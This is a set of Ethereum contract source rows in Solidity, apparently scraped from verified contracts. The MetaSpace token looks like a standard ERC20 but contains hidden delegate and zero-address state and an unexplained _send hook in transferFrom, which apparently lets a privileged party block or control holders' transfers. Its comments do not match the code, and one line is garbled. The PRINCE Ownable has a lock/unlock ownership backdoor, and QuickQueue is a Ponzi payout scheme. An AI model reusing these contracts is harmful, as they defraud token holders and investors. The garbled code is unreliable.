function add(uint256 a, uint256 b) internal pure returns ... | mod | function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
| /**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcod... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
4546,
4717
]
} | 18,061 | ||
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | isContract | function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codeha... | /**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
606,
1230
]
} | 18,062 |
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | sendValue | function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address... | /**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `tr... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
2160,
2562
]
} | 18,063 |
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
| /**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw ... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
3318,
3496
]
} | 18,064 |
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
3721,
3922
]
} | 18,065 |
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
4292,
4523
]
} | 18,066 |
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will ... | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
4774,
5095
]
} | 18,067 |
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/... | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
... | NatSpecMultiLine | owner | function owner() public view returns (address) {
return _owner;
}
| /**
* @dev Returns the address of the current owner.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
557,
641
]
} | 18,068 |
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/... | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
... | NatSpecMultiLine | renounceOwnership | function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
| /**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
1200,
1353
]
} | 18,069 |
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/... | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
... | NatSpecMultiLine | transferOwnership | function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
| /**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
1503,
1752
]
} | 18,070 |
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/... | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
... | NatSpecMultiLine | lock | function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
| //Locks the contract for owner for the amount of time provided | LineComment | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
1920,
2151
]
} | 18,071 |
PRINCE | PRINCE.sol | 0x885bfcd0f08d7809a23527de628d44458bfa00c4 | Solidity | Ownable | contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/... | /**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
... | NatSpecMultiLine | unlock | function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(block.timestamp > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
| //Unlocks the contract for owner when _lockTime is exceeds | LineComment | v0.8.9+commit.e5eed63a | None | ipfs://ff903747e58b1648b17f20eae2cf8195f6b3982116bb31aae51cec8502008b4e | {
"func_code_index": [
2222,
2532
]
} | 18,072 |
MetaSpace | MetaSpace.sol | 0x96e5ea0e1c0d5cce34433acd553efef1d2351629 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() virtual public view returns (uint);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://afd540c1670f9a551c067012ae997e102eae9b4c892fe3b23b6308e16511b62a | {
"func_code_index": [
110,
171
]
} | 18,073 |
MetaSpace | MetaSpace.sol | 0x96e5ea0e1c0d5cce34433acd553efef1d2351629 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address tokenOwner) virtual public view returns (uint balance);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://afd540c1670f9a551c067012ae997e102eae9b4c892fe3b23b6308e16511b62a | {
"func_code_index": [
250,
335
]
} | 18,074 |
MetaSpace | MetaSpace.sol | 0x96e5ea0e1c0d5cce34433acd553efef1d2351629 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | allowance | function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://afd540c1670f9a551c067012ae997e102eae9b4c892fe3b23b6308e16511b62a | {
"func_code_index": [
610,
714
]
} | 18,075 |
MetaSpace | MetaSpace.sol | 0x96e5ea0e1c0d5cce34433acd553efef1d2351629 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transfer | function transfer(address to, uint tokens) virtual public returns (bool success);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://afd540c1670f9a551c067012ae997e102eae9b4c892fe3b23b6308e16511b62a | {
"func_code_index": [
934,
1018
]
} | 18,076 |
MetaSpace | MetaSpace.sol | 0x96e5ea0e1c0d5cce34433acd553efef1d2351629 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint tokens) virtual public returns (bool success);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://afd540c1670f9a551c067012ae997e102eae9b4c892fe3b23b6308e16511b62a | {
"func_code_index": [
1678,
1766
]
} | 18,077 |
MetaSpace | MetaSpace.sol | 0x96e5ea0e1c0d5cce34433acd553efef1d2351629 | Solidity | ERC20Interface | abstract contract ERC20Interface {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (... | /**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://afd540c1670f9a551c067012ae997e102eae9b4c892fe3b23b6308e16511b62a | {
"func_code_index": [
2076,
2178
]
} | 18,078 |
MetaSpace | MetaSpace.sol | 0x96e5ea0e1c0d5cce34433acd553efef1d2351629 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances... | totalSupply | function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
| /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://afd540c1670f9a551c067012ae997e102eae9b4c892fe3b23b6308e16511b62a | {
"func_code_index": [
1571,
1691
]
} | 18,079 | ||
MetaSpace | MetaSpace.sol | 0x96e5ea0e1c0d5cce34433acd553efef1d2351629 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances... | burn | function burn(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burn (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
| /**
* dev Burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://afd540c1670f9a551c067012ae997e102eae9b4c892fe3b23b6308e16511b62a | {
"func_code_index": [
1942,
2228
]
} | 18,080 | ||
MetaSpace | MetaSpace.sol | 0x96e5ea0e1c0d5cce34433acd553efef1d2351629 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances... | approve | function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://afd540c1670f9a551c067012ae997e102eae9b4c892fe3b23b6308e16511b62a | {
"func_code_index": [
3176,
3432
]
} | 18,081 | ||
MetaSpace | MetaSpace.sol | 0x96e5ea0e1c0d5cce34433acd553efef1d2351629 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances... | transferFrom | function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
alances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = ... | /**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to reve... | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://afd540c1670f9a551c067012ae997e102eae9b4c892fe3b23b6308e16511b62a | {
"func_code_index": [
4169,
4588
]
} | 18,082 | ||
MetaSpace | MetaSpace.sol | 0x96e5ea0e1c0d5cce34433acd553efef1d2351629 | Solidity | TokenERC20 | contract TokenERC20 is ERC20Interface, Owned{
using SafeMath for uint;
string public symbol;
address internal delegate;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
mapping(address => uint) balances... | allowance | function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
| /**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/ | NatSpecMultiLine | v0.8.9+commit.e5eed63a | GNU GPLv3 | ipfs://afd540c1670f9a551c067012ae997e102eae9b4c892fe3b23b6308e16511b62a | {
"func_code_index": [
4739,
4892
]
} | 18,083 | ||
QuickQueue | QuickQueue.sol | 0xc07021b1875e2c4a885e73ad43557c7e40d63556 | Solidity | QuickQueue | contract QuickQueue {
address constant private SUPPORT = 0x1f78Ae3ab029456a3ac5b6f4F90EaB5B675c47D5; // Address for promo expences
uint constant public SUPPORT_PERCENT = 5; //Percent for promo expences 5% (3% for advertizing, 2% for techsupport)
uint constant public QUICKQUEUE = 103; // Percent for... | /**
QuickQueue contract: returns 103% of each investment!
Automatic payouts!
No bugs, no backdoors, NO OWNER - fully automatic!
Made and checked by professionals!
1. Send any sum to smart contract address
- sum from 0.01 to 1 ETH
- min 250000 gas limit
- you are added to a queue
2. Wait a little bi... | NatSpecMultiLine | function () public payable {
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= MAX_LIMIT, "Deposit is too big");
queue.push(Deposit(msg.sender, uint128(msg.value), uint128(msg.value * QUICKQUEUE / 100)));
uint ads = msg.value * SUP... | //This function receives all the deposits
//stores them and make immediate payouts | LineComment | v0.4.25+commit.59dbf8f1 | bzzr://8a4dd18674bccb4eb18a57beae9187a318e57f650ac28a67cfd77706a3075c3e | {
"func_code_index": [
908,
1348
]
} | 18,084 | ||
QuickQueue | QuickQueue.sol | 0xc07021b1875e2c4a885e73ad43557c7e40d63556 | Solidity | QuickQueue | contract QuickQueue {
address constant private SUPPORT = 0x1f78Ae3ab029456a3ac5b6f4F90EaB5B675c47D5; // Address for promo expences
uint constant public SUPPORT_PERCENT = 5; //Percent for promo expences 5% (3% for advertizing, 2% for techsupport)
uint constant public QUICKQUEUE = 103; // Percent for... | /**
QuickQueue contract: returns 103% of each investment!
Automatic payouts!
No bugs, no backdoors, NO OWNER - fully automatic!
Made and checked by professionals!
1. Send any sum to smart contract address
- sum from 0.01 to 1 ETH
- min 250000 gas limit
- you are added to a queue
2. Wait a little bi... | NatSpecMultiLine | pay | function pay() private {
uint128 money = uint128(address(this).balance);
for(uint i = 0; i < queue.length; i++) {
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect) {
dep.depositor.transfer(dep.expect);
... | //Used to pay to current investors
//Each new transaction processes 1 - 4+ investors in the head of queue
//depending on balance and gas left | LineComment | v0.4.25+commit.59dbf8f1 | bzzr://8a4dd18674bccb4eb18a57beae9187a318e57f650ac28a67cfd77706a3075c3e | {
"func_code_index": [
1509,
2241
]
} | 18,085 | |
QuickQueue | QuickQueue.sol | 0xc07021b1875e2c4a885e73ad43557c7e40d63556 | Solidity | QuickQueue | contract QuickQueue {
address constant private SUPPORT = 0x1f78Ae3ab029456a3ac5b6f4F90EaB5B675c47D5; // Address for promo expences
uint constant public SUPPORT_PERCENT = 5; //Percent for promo expences 5% (3% for advertizing, 2% for techsupport)
uint constant public QUICKQUEUE = 103; // Percent for... | /**
QuickQueue contract: returns 103% of each investment!
Automatic payouts!
No bugs, no backdoors, NO OWNER - fully automatic!
Made and checked by professionals!
1. Send any sum to smart contract address
- sum from 0.01 to 1 ETH
- min 250000 gas limit
- you are added to a queue
2. Wait a little bi... | NatSpecMultiLine | getDeposit | function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
| //Get the deposit info by its index
//You can get deposit index from | LineComment | v0.4.25+commit.59dbf8f1 | bzzr://8a4dd18674bccb4eb18a57beae9187a318e57f650ac28a67cfd77706a3075c3e | {
"func_code_index": [
2323,
2533
]
} | 18,086 | |
QuickQueue | QuickQueue.sol | 0xc07021b1875e2c4a885e73ad43557c7e40d63556 | Solidity | QuickQueue | contract QuickQueue {
address constant private SUPPORT = 0x1f78Ae3ab029456a3ac5b6f4F90EaB5B675c47D5; // Address for promo expences
uint constant public SUPPORT_PERCENT = 5; //Percent for promo expences 5% (3% for advertizing, 2% for techsupport)
uint constant public QUICKQUEUE = 103; // Percent for... | /**
QuickQueue contract: returns 103% of each investment!
Automatic payouts!
No bugs, no backdoors, NO OWNER - fully automatic!
Made and checked by professionals!
1. Send any sum to smart contract address
- sum from 0.01 to 1 ETH
- min 250000 gas limit
- you are added to a queue
2. Wait a little bi... | NatSpecMultiLine | getDepositsCount | function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<queue.length; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
| //Get the count of deposits of specific investor | LineComment | v0.4.25+commit.59dbf8f1 | bzzr://8a4dd18674bccb4eb18a57beae9187a318e57f650ac28a67cfd77706a3075c3e | {
"func_code_index": [
2590,
2861
]
} | 18,087 | |
QuickQueue | QuickQueue.sol | 0xc07021b1875e2c4a885e73ad43557c7e40d63556 | Solidity | QuickQueue | contract QuickQueue {
address constant private SUPPORT = 0x1f78Ae3ab029456a3ac5b6f4F90EaB5B675c47D5; // Address for promo expences
uint constant public SUPPORT_PERCENT = 5; //Percent for promo expences 5% (3% for advertizing, 2% for techsupport)
uint constant public QUICKQUEUE = 103; // Percent for... | /**
QuickQueue contract: returns 103% of each investment!
Automatic payouts!
No bugs, no backdoors, NO OWNER - fully automatic!
Made and checked by professionals!
1. Send any sum to smart contract address
- sum from 0.01 to 1 ETH
- min 250000 gas limit
- you are added to a queue
2. Wait a little bi... | NatSpecMultiLine | getDeposits | function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=curren... | //Get all deposits (index, deposit, expect) of a specific investor | LineComment | v0.4.25+commit.59dbf8f1 | bzzr://8a4dd18674bccb4eb18a57beae9187a318e57f650ac28a67cfd77706a3075c3e | {
"func_code_index": [
2936,
3630
]
} | 18,088 | |
QuickQueue | QuickQueue.sol | 0xc07021b1875e2c4a885e73ad43557c7e40d63556 | Solidity | QuickQueue | contract QuickQueue {
address constant private SUPPORT = 0x1f78Ae3ab029456a3ac5b6f4F90EaB5B675c47D5; // Address for promo expences
uint constant public SUPPORT_PERCENT = 5; //Percent for promo expences 5% (3% for advertizing, 2% for techsupport)
uint constant public QUICKQUEUE = 103; // Percent for... | /**
QuickQueue contract: returns 103% of each investment!
Automatic payouts!
No bugs, no backdoors, NO OWNER - fully automatic!
Made and checked by professionals!
1. Send any sum to smart contract address
- sum from 0.01 to 1 ETH
- min 250000 gas limit
- you are added to a queue
2. Wait a little bi... | NatSpecMultiLine | getQueueLength | function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
| //Get current queue size | LineComment | v0.4.25+commit.59dbf8f1 | bzzr://8a4dd18674bccb4eb18a57beae9187a318e57f650ac28a67cfd77706a3075c3e | {
"func_code_index": [
3667,
3786
]
} | 18,089 | |
YclDoCoins | YclDoCoins.sol | 0xfd341667401892f0a2f385d29713a3200ef9ee49 | Solidity | EIP20Interface | contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract sinc... | balanceOf | function balanceOf(address _owner) public view returns (uint256 balance);
| /// @param _owner The address from which the balance will be retrieved
/// @return The balance | NatSpecSingleLine | v0.4.24-nightly.2018.4.22+commit.2fae248d | bzzr://32957fa298fc01d569974029255e79f97625b503ac7c5a1fe0ba8109989396c7 | {
"func_code_index": [
638,
716
]
} | 18,090 | |||
YclDoCoins | YclDoCoins.sol | 0xfd341667401892f0a2f385d29713a3200ef9ee49 | Solidity | EIP20Interface | contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract sinc... | transfer | function transfer(address _to, uint256 _value) public returns (bool success);
| /// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not | NatSpecSingleLine | v0.4.24-nightly.2018.4.22+commit.2fae248d | bzzr://32957fa298fc01d569974029255e79f97625b503ac7c5a1fe0ba8109989396c7 | {
"func_code_index": [
953,
1035
]
} | 18,091 | |||
YclDoCoins | YclDoCoins.sol | 0xfd341667401892f0a2f385d29713a3200ef9ee49 | Solidity | EIP20Interface | contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract sinc... | transferFrom | function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
